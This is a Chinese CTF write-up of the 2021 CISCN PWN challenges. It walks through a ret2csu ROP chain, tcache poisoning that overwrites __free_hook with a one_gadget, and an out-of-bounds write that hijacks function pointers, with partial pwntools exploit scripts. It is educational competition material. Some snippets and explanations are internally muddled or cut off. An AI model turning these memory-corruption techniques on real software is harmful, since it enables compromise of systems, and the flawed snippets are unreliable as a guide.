CISCN 2021 PWN赛题解析:栈溢出、堆利用与逻辑漏洞实战
1. 赛事背景与PWN挑战概述
全国大学生信息安全竞赛(CISCN)是国内信息安全领域极具影响力的年度赛事,其PWN(二进制漏洞利用)方向更是高手云集、技术含量最高的赛道之一。2021年的第十四届赛事,PWN题目在难度和广度上都有了新的突破,不仅考察传统的栈溢出、堆利用,更深入融合了现代操作系统保护机制、复杂程序逻辑分析以及新颖的利用技巧。对于每一位投身于二进制安全研究的学习者和从业者来说,复盘这些赛题,不仅仅是回顾解题过程,更是理解当下漏洞利用技术演进趋势、锤炼实战能力的绝佳途径。这篇文章,我将从一个一线CTF选手和二进制安全研究者的视角,带你深入拆解2021年CISCN PWN部分的核心赛题。我会详细还原当时的解题思路,剖析每道题背后的漏洞原理、绕过保护机制的手法,并分享在高压比赛环境下如何进行快速分析、工具链选择以及利用脚本编写的实战经验。无论你是正在备赛的学生,还是希望精进PWN技术的安全爱好者,相信这篇详尽的Writeup都能为你提供扎实的参考和启发。
2. 解题环境搭建与核心工具链解析
工欲善其事,必先利其器。在深入题目之前,搭建一个稳定、高效的调试分析环境是重中之重。与日常研究不同,CTF比赛环境通常具有隔离性,且题目附件可能包含特殊的库文件或配置。
2.1 比赛环境复现与依赖处理
比赛提供的题目附件通常是一个压缩包,里面包含了二进制程序、动态链接库(libc)以及可能存在的其他文件(如ld.so)。第一步永远是准确复现题目运行环境。我个人的习惯是使用patchelf工具来修改二进制文件的解释器和库路径,确保其在本地环境与远程环境一致。
# 查看二进制文件信息 file pwn checksec pwn # 使用patchelf修改解释器和库 patchelf --set-interpreter ./ld-2.31.so ./pwn patchelf --replace-needed libc.so.6 ./libc-2.31.so ./pwn # 给予执行权限 chmod +x pwn这里有一个关键细节:ld.so的版本必须与libc.so版本匹配,否则程序可能无法正常运行或堆内存布局会出现难以预料的偏差,直接影响利用的稳定性。我曾在一次练习中因为混用了不同小版本的ld和libc,导致one_gadget的偏移怎么算都不对,浪费了大量时间。因此,在解压题目附件后,务必先确认libc版本,并找到对应的ld。
2.2 动态调试与静态分析工具的选择与联动
动态调试我首选pwndbg插件增强的GDB。它的堆命令(如heap、bins)和上下文显示非常强大。对于静态分析,IDA Pro或Ghidra是必不可少的。我的工作流通常是:先用IDA进行快速的程序逻辑和函数识别,理清大致的程序流和关键函数;然后在关键点(如输入函数、判断逻辑)下断点,用pwndbg进行动态跟踪,观察内存状态和寄存器变化。
两者联动有一个高效技巧:在IDA中分析出关键代码的地址后,直接在pwndbg中使用break *0x401234下断点。同时,利用pwndbg的telescope或x/20gx命令来观察栈和堆的布局,结合IDA的反编译结果,能快速理解数据结构。例如,看到一个malloc返回的指针,在动态调试中追踪其内容,再回到IDA中查看操作该指针的代码,就能清晰还原出结构体定义。
注意:比赛时网络环境可能不稳定,远程调试(
gdb.attach(p))有时会失效或延迟过高。因此,必须锻炼本地精确模拟远程环境的能力,并习惯于通过pwntools的recv系列函数和大量
3. 典型赛题深度剖析:从漏洞发现到利用链构造
2021年CISCN的PWN题涵盖了多个方向,我们选取其中三道具有代表性的题目进行深度解析,分别对应栈漏洞、堆漏洞和结合了新颖逻辑的漏洞类型。
3.1 题目一:基于栈溢出的ROP链构造与ret2csu技巧
这道题是一个经典的64位栈溢出,但开启了NX(不可执行栈)保护,因此需要转向ROP(返回导向编程)。程序本身很小,提供的gadget有限。
漏洞点分析:通过IDA静态分析,发现主函数中有一个对read函数的调用,其读取长度远大于栈上缓冲区的长度,造成了栈溢出。使用cyclic工具可以快速定位到返回地址的偏移。
from pwn import * context.log_level = 'debug' p = process('./pwn1') payload = cyclic(500) p.sendline(payload) p.wait() core = p.corefile offset = cyclic_find(core.read(core.rsp, 4)) print(f"Offset to RIP: {offset}")利用链构造:由于程序没有提供system函数和/bin/sh字符串,我们需要先泄露libc地址。程序中存在一个puts函数,可以用于输出GOT表项。经典的思路是:构造第一次ROP,调用puts(puts@got),泄露地址,然后返回到main函数或另一个输入点,进行第二次溢出,最终调用system(‘/bin/sh’)。
难点与技巧:在64位系统下,函数前六个参数通过寄存器rdi, rsi, rdx, rcx, r8, r9传递。我们通常需要pop rdi; ret这样的gadget来控制第一个参数。但在这道题中,直接寻找pop rdi; ret可能找不到,或者pop rsi; ret也缺失。这时,一个被称为__libc_csu_init的通用gadget(简称ret2csu)就派上了用场。这个函数末尾有一段固定的指令序列,可以用于控制rdi, rsi, rdx三个寄存器,虽然操作稍显复杂,但在gadget匮乏时是救命稻草。
# ret2csu 利用代码片段示例 csu_pop_gadget = 0x40089A # pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret csu_call_gadget = 0x400880 # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8] # 第一次调用:布置参数,调用puts泄露地址 payload = b'A' * offset payload += p64(csu_pop_gadget) payload += p64(0) # rbx payload += p64(1) # rbp,用于后面判断跳转 payload += p64(puts_got) # r12 -> 要调用的函数指针地址 payload += p64(0) # r13 -> edi (低32位),但puts只需要一个参数,我们用rdi传,这里先填0,后面用其他gadget补 payload += p64(puts_got) # r14 -> rsi,这里我们复用地址,实际需要的是要泄露的地址本身 payload += p64(8) # r15 -> rdx,输出字节数 payload += p64(csu_call_gadget) # ... 后续需要填充7个qword以平衡栈,并跳转回main这个构造需要仔细计算栈布局,确保csu_call_gadget执行后能正确返回到我们控制的下一条指令。这需要动态调试来验证每一步的寄存器状态和栈指针位置。
3.2 题目二:堆风水(Heap Feng Shui)与Tcache Poisoning实战
这道题是一个菜单堆题,提供了分配、编辑、释放、查看功能。保护机制全开(Canary, NX, PIE, ASLR)。漏洞点在于编辑功能存在一个堆溢出,可以溢出到相邻堆块。
漏洞与利用策略:由于存在PIE,地址随机化,我们首先需要泄露一个堆地址或libc地址。通常,通过释放一个大小不属于fastbin的块到unsorted bin,再申请回来,其fd和bk指针会指向libc的main_arena区域,从而泄露libc基址。另一种常见方法是利用UAF(释放后使用)漏洞直接打印已释放块的内容。
在泄露了libc地址后,利用堆溢出实施Tcache Poisoning攻击是本题的关键。现代glibc(>=2.26)引入了tcache机制,它比fastbin更优先,且安全性检查在早期版本中相对宽松。我们的目标是劫持tcache链,将一个堆块分配到__free_hook或malloc_hook附近。
详细步骤:
- 堆布局:首先分配若干个小堆块(如0x100大小),并释放其中两个,让它们进入tcache bin。tcache是单链表,第一个释放的块在链尾。
- 触发溢出:编辑与某个已释放tcache块相邻的前一个块,利用堆溢出修改已释放块的
fd指针。由于tcache在取出时只检查next指针是否对齐,不检查其指向的块是否合法,我们可以将fd修改为目标地址(如__free_hook地址)。 - 分配劫持:连续两次申请相同大小的块。第一次申请会得到原本的堆块,第二次申请就会得到我们
fd指向的“伪造”块,即__free_hook附近的地址。 - 写入one_gadget:向这个“伪造”块写入数据,实际上就是向
__free_hook写入one_gadget的地址。 - 触发执行:最后释放任意一个块,
free()函数会调用__free_hook,从而跳转到one_gadget,获取shell。
# 简化版的利用脚本核心部分 alloc(0, 0x100) # chunk0 alloc(1, 0x100) # chunk1 alloc(2, 0x100) # chunk2 用于隔离,防止合并 free(0) free(1) # chunk1, chunk0 进入tcache[0x110] # 假设通过溢出修改chunk1的fd为 fake_addr (__free_hook - 0x10) edit(0, b'A'*0x100 + p64(0) + p64(0x111) + p64(fake_addr)) alloc(3, 0x100) # 取出chunk0 alloc(4, 0x100) # 取出被污染的chunk1->fd,即fake_addr # 现在对index4进行编辑,就是向fake_addr写入数据 edit(4, p64(one_gadget_addr)) # 触发free_hook free(2)实操心得:Tcache Poisoning的成功率高度依赖于堆布局。在实战中,可能需要先进行几次“垫块”操作来稳定堆的状态,避免因为前后堆块的合并(consolidate)打乱布局。同时,要注意不同版本glibc中tcache的机制差异,例如在2.32及以上版本引入了
safe linking(指针异或加密),需要先泄露堆地址才能进行伪造。
3.3 题目三:逻辑漏洞与数据流劫持的复合利用
这道题看起来不是一个传统的堆栈题,更像一个模拟的“虚拟机”或者自定义协议解析器。程序读取用户输入,根据一套自定义的指令集进行相应的操作。漏洞隐藏在某个特定指令的处理逻辑中。
逆向分析重点:面对这种题目,静态分析的重要性远超动态调试。首先要用IDA理清所有自定义指令的处理函数(handler)。重点关注那些涉及内存读写、指针运算的指令。常见的漏洞模式包括:数组索引未校验导致越界读写、整数溢出、类型混淆等。
漏洞发现:通过审计代码,发现一条“存储”指令,其操作数是一个索引值,用于访问一个全局数组。该索引值来自用户输入,程序虽然做了范围检查,但检查的是“是否小于数组大小”,却没有检查是否大于等于0。如果传入一个很大的负数(在补码表示下是一个很大的正数),就能通过检查,导致向数组起始地址之前的内存写入数据,这实际上是一个全局数据区(.bss段)的越界写。
利用思路:这个越界写可以覆盖哪些关键数据呢?我们需要分析.bss段的内存布局。发现数组前面不远处就存储着几个重要的函数指针,这些指针在程序后续逻辑中会被调用。因此,利用步骤可以设计为:
- 通过越界写,将其中一个函数指针覆盖为
printf或puts的GOT表地址。 - 触发程序调用这个被覆盖的函数指针,同时控制传入的参数,使其指向另一个我们想泄露的
GOT表项(如libc_start_main),从而泄露libc地址。 - 再次利用越界写,将函数指针覆盖为
system地址,并布置好参数(如/bin/sh字符串的地址),再次触发调用,获得shell。
难点:如何将/bin/sh字符串写入内存可控区域?这需要结合程序的其他功能。可能程序本身就提供了数据存储功能,或者可以利用已有的越界写能力,将字符串写入.bss段的某个空闲区域。这需要仔细规划内存布局,计算精确的偏移。
# 假设:array基地址为0x6020A0, 目标函数指针位于0x602040 # 索引计算: (0x602040 - 0x6020A0) / 8 = -12 (因为每个元素8字节) # 所以传入索引 -12 即可写到目标指针处 # 第一步:覆盖指针为puts@got,并触发调用泄露libc # 假设触发调用的指令需要参数放在 rdi # 我们需要先通过其他指令,将想要泄露的地址(如libc_start_main@got)放入rdi对应的数据槽 # 然后发送覆盖索引和值为 puts@got payload = craft_instruction_to_set_rdi(libc_start_main_got) payload += craft_instruction_to_write_to_index(-12, puts_got) payload += craft_instruction_to_call_overwritten_pointer() send_payload(payload) leak = recv_leak() libc_base = u64(leak.ljust(8, b'\x00')) - libc.sym['__libc_start_main']这类题目考察的是综合的逆向工程能力和漏洞转化能力,需要将抽象的漏洞转化为具体的、可控制的读写原语,再串联成完整的利用链。
4. 比赛实战技巧与问题排查实录
在紧张的比赛环境中,快速定位问题并调整策略至关重要。以下是我根据多次参赛经验总结的实战技巧和常见问题排查方法。
4.1 脚本编写与交互稳定性优化
使用pwntools编写利用脚本时,稳定性是第一位的。远程连接可能延迟高、不稳定,本地调试时也可能因为环境差异导致意外。
技巧一:使用上下文管理器和超时设置
from pwn import * context(arch='amd64', os='linux', log_level='info') # 使用 `timeout` 参数防止脚本卡死 conn = remote('target', 9999, timeout=5) # 或者使用 process 并设置 alarm p = process('./pwn') p.settimeout(5)技巧二:规范化输入/输出处理不要假设远程服务和本地行为完全一致。对于菜单类题目,在每次发送选项后,使用recvuntil(b'choice:')这样的语句来确保程序状态同步。对于输出内容,使用recvline()或recvuntil(delimiter)来精确接收,避免粘包问题。对于不确定长度的泄露数据,可以先接收一定字节,然后根据内容(如是否以\n结尾)判断。
技巧三:模块化与调试开关将不同的攻击阶段(如泄露地址、构造payload)写成函数。在脚本开头设置一个DEBUG变量,方便切换本地调试和远程攻击。
DEBUG = False if DEBUG: p = process('./pwn') # 可以附加gdb # gdb.attach(p, gdbscript='b *0x400800\nc') else: p = remote('node4.buuoj.cn', 29999)4.2 常见问题与快速排查指南
在利用过程中,经常会遇到脚本本地成功但远程失败的情况。下面是一个快速排查清单:
| 现象 | 可能原因 | 排查方法 |
|---|---|---|
| 连接远程后立即断开或收不到回显 | 1. 题目有反调试或初始化失败 2. 本地libc/ld版本与远程不符 3. 网络或服务器问题 | 1. 检查程序是否有ptrace、alarm等反调试,尝试ncat手动交互。2. 使用 ldd和file命令确认二进制依赖,务必使用题目提供的libc/ld。3. 换用其他网络或稍后重试。 |
| 泄露的地址计算后明显不对(如非0x7f开头) | 1. 接收数据不完整或包含多余字符(如换行、空格)。 2. 泄露的不是指针本身,而是指针指向的内容。 3. 偏移计算错误。 | 1. 将接收到的原始数据用hexdump打印出来,确认字节序和长度。2. 动态调试,在泄露点查看目标内存的确切值。 3. 核对libc版本,确认符号偏移是否正确(使用 libc.sym[‘puts’])。 |
执行到one_gadget时崩溃 | 1.one_gadget的约束条件不满足(如rsp+0x50为NULL)。2. 栈布局或寄存器状态不满足条件。 3. __free_hook或__malloc_hook附近地址不可写。 | 1. 尝试不同的one_gadget(通常有多个候选)。2. 在调用hook前,用ROP或其它方法调整寄存器状态。 3. 考虑其他hook或 _IO_FILE结构体攻击(如FSOP)。 |
| 堆利用时,第二次分配未拿到预期地址 | 1. Tcache或fastbin链被意外破坏(如double free检测)。 2. 堆布局计算错误,溢出修改了错误的块。 3. 大小检查未通过(如size域被破坏)。 | 1. 在每次关键操作(free,malloc)后,使用heap命令查看堆状态。2. 动态调试,在溢出点查看内存,确认覆盖是否准确。 3. 检查堆块的 size域是否被溢出修改,需保持其原有值以通过检查。 |
| 利用脚本在本地成功,远程失败 | 1. 远程libc版本不同(即使文件名相同,build id可能不同)。 2. 系统环境差异(如内核版本、seccomp沙盒)。 3. 随机化差异(ASLR)导致布局微调。 | 1. 尝试用DynELF等工具动态泄露远程libc版本。2. 检查题目描述是否提示有沙盒,使用 seccomp-tools分析。3. 堆利用脚本应具有一定鲁棒性,避免依赖绝对偏移,多使用相对偏移或泄露的地址进行计算。 |
4.3 心态与时间管理
最后,也是最重要的一点,是比赛时的心态。PWN题往往卡住就是几个小时。我的经验是:设置时间盒。例如,对一道题分析30分钟后如果毫无头绪,就快速浏览一下其他题目,或许有更简单的突破口。同时,善用团队协作,与队友分享逆向发现和思路,可能别人的一个观点就能点醒你。永远不要忽视静态分析的基础工作,草草看几眼汇编就急着写利用脚本,往往会在后期浪费更多时间去调试那些因理解偏差导致的错误。把程序逻辑、数据结构画在纸上,是理清复杂题目最有效的方法之一。
